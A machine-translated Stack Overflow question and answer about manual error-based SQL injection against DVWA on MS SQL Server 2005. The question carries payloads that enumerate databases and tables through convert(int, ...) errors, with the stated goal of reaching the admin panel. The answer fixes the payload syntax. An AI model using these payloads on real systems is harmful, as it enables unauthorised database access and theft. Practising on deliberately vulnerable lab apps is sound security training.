Microsoft SQL Server 2005 - DVWA - SQL注入

时间:2014-02-10 02:44:31

标签: sql sql-server coldfusion iis-6 mssql-jdbc

我又回来了关于dvwa的另一个问题,这次我已升级到MsSQL 2005,我还有另外一组问题。我不明白一些事情。 我希望某个人能够向我表明这一点。

基本上,像往常一样 - 我的目标是从DVWA获取所有数据库,并使用手动注入技术升级到管理面板。

到目前为止我所拥有的是数据库,但我对语法的变化感到有些困惑。我让服务器获取数据库,它返回给我第一个数据库。我的查询如下:

+
and+1=
    convert
    (
       int,db_name()
    )
--

我的第一个问题是 - 如何编辑此查询以便我能够查看所有数据库,因为据我所知,此查询仅删除SQL数据中的第一个数据库。好的,我的第二个问题是,当我使用此查询查找表时,第一个被删除的数据库是“信息”:

+
and+1=
    convert
    ( 
       int,
       (
          select+top+1+table_name+from+information_schema.tables
       )
    )
--

它返回了该数据库的第一个表。首先,假设我拥有的不仅仅是第一个数据库,我如何更改此查询以获取该数据库名称的表格。其次,它返回的表是tbl_info_id。

请注意,服务器在coldfusion上运行IIS 6.0。 我知道,要从该数据库请求下一个表,我将不得不创建一个这样的查询:

+
and+1=
    convert
    (
       int,
       (
          select+top+1+table_name+from+
              information_schema.tables+where+table_name+not+in('tbl_info_id')
       )
    )
--

当我写它时,服务器响应:

[SQLServer]Incorrect syntax near 'tbl_info_id'.

这就是全部,如果有人能向我解释这一切,我将不胜感激!欢呼声。

1 个答案:

答案 0 :(得分:0)

这有两个问题:

convert
(
   int,
   (
      select+top+1+table_name+from+
          information_schema.tables+where+table_name+not+in('tbl_info_id')
   )
)

首先是加号。用单个空格替换它们。

第二个是您尝试将非数字字符串转换为整数。这不会计算。

关于逻辑,你的散文说你想要数据库名称,但你的代码正在寻找表名。如果需要数据库名称,请执行以下操作:

select name
from sys.databases